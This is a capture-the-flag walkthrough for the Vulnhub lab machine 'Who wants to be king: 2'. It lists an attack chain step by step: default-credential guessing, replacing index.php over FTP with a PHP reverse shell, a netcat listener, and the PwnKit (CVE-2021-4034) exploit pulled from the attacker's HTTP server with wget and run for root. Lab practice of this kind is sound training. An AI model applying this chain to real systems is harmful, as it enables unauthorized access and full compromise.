Who wants to be king: 2 — Vulnhub walkthrough
1.Find the IP
I use nmap to scan, you can use arpscan as well.
Command : “nmap 192.168.197.128/24”(change the ip to yours)
Lets check every service one by one.
2.The webpage
Read the how to guides we can find this message:
Interesting..
Now we know that it has a chance that the user lampp’s password is daemon.
3.Samba service(port 139)
I use enum4linux to enumerate the service.
Command: “enum4linux -r 192.168.197.135”(change to your target ip)
Found user nobody and osboxes
ps:osboxes is a website which provides linux/unix virtual machine mirrors,
and its default password is osboxes.org.
So we have a note of guessed passwds(Probably right)
lampp:daemon
osboxes:osboxes.org
4.FTP service
Connected to the service and tried the guessed passwds we noted,
succeeded via user:osboxes passwd:osboxes.org.
Command:”ftp 192.168.197.135”(change to your target ip)
I noticed the index.php, and the user has the permission to rewrite the file via the put command, so i changed index.php to a reverse shell.
I uses this as my reverse shell php: https://github.com/pentestmonkey/php-reverse-shell
Command:”get index.php”
Get JstExp’s stories in your inbox
Join Medium for free to get updates from this writer.
— -change the index.php to the reverseshell code — -
Command : “put index.php”(This will rewrite the file and turn it into your reverse shell)
5.Webshell
The webshell successfully connected via netcat, you just need to connect to http://yourtargetip and the index.php will be loaded, this way your reverse shell will work.
Command:”nc -lvnp 4444”(change to your target port)
Lets first find the files with SUID permissions.
Command:”find / -perm -4000 2>/dev/null”
I noticed that there is a pkexec file there, double checked the machine version.
Command:”uname -r”
6.Exploit
Now we can use the famous PwnKit(CVE-2021–4034) to get the root access,
download the github repo,and use the “make” command.
Command:”git clone https://github.com/ly4k/PwnKit
cd PwnKit
make”
Set up a python httpserver to transport the PwnKit file to the webshell.
Command:”python3 -m http.server 8080”(on your machine)
Then get the file on your webshell via wget,before that change to the /tmp directory to have the access to write it.
Command:”cd /tmp”
Command:”wget http://yourmachineip:8080/PwnKit”
Last, make your PwnKit executable by using chmod.
Command:”chmod +x PwnKit”
and then run ./PwnKit, you will get the root access.
I will consider this as a easy machine to do.
